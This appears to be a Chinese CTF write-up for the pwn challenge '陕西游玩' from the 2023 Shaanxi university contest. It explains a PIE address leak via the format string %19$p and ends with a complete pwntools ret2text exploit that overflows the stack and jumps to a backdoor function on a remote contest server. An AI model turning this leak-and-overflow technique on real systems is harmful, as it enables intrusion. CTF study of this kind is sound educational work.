2023陕西省大学生网络安全技能大赛pwn陕西游玩题解

首先checksec~

af573347a48e41f0a0ec0443e85ba995.png

发现开了pie

然后ida看看

96ebb30db662455e8352306db1174519.png

 

3156de2718fe4ce2abc3179e6c290b32.png

55b247566c5f4ac9863fe73b61b803ea.png

可以看到输入1是一个栈溢出,输入2有一个格式化字符串

而且还找到了后门函数

8a1e874b15314f7a8345c5975c37bbf2.png

那么我们就要想办法泄露出一个函数真实地址,以此来计算偏移得到后门函数的地址从而getshell

gdb调试:

在printf处下一个断点,再输入一串%p

4de717c844bb4bb5ac37a231f2510769.png

 

 接着回车之后看下栈

 4b60c0f9a73942e598684ebf1b92cad1.png

 可以发现在0x7fffffffdf18处存放了main函数的地址,而printf输入时的位置在0x7fffffffdeb0,并且64位传参前6个参数要放在寄存器中,那么实际main函数真实地址相对格式化字符串参数的位置为(0x7fffffffdf18-0x7fffffffdeb0)/8+6=19

接着计算main与后门函数的偏移,直接ida看后四位再相减就欧克了,代码如下

io.recvuntil('Your choice :\n')
io.sendline('2')
payload = '%19$p'
io.sendlineafter('\n',payload)
addr = int(io.recv(16).decode(),16)
print(addr)
main = 0x12EB
shell = 0x129A
offset = main-shell
shelladr = addr-offset

 然后就是愉快的ret2text过程。完整exp如下

from pwn import*
#context.log_level = 'debug'
io = remote('121.196.192.181', 10001)
io.recvuntil('Your choice :\n')
io.sendline('2')
payload = '%19$p'
io.sendlineafter('\n',payload)
addr = int(io.recv(16).decode(),16)
print(addr)
main = 0x12EB
shell = 0x129A
offset = main-shell
shelladr = addr-offset
io.sendlineafter('Your choice :\n','1')
io.recvuntil('Mountain')
payload = b'a'*(0x28)+p64(shelladr)

io.sendline(payload)
io.interactive()
 

 希望对各位有所帮助。

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值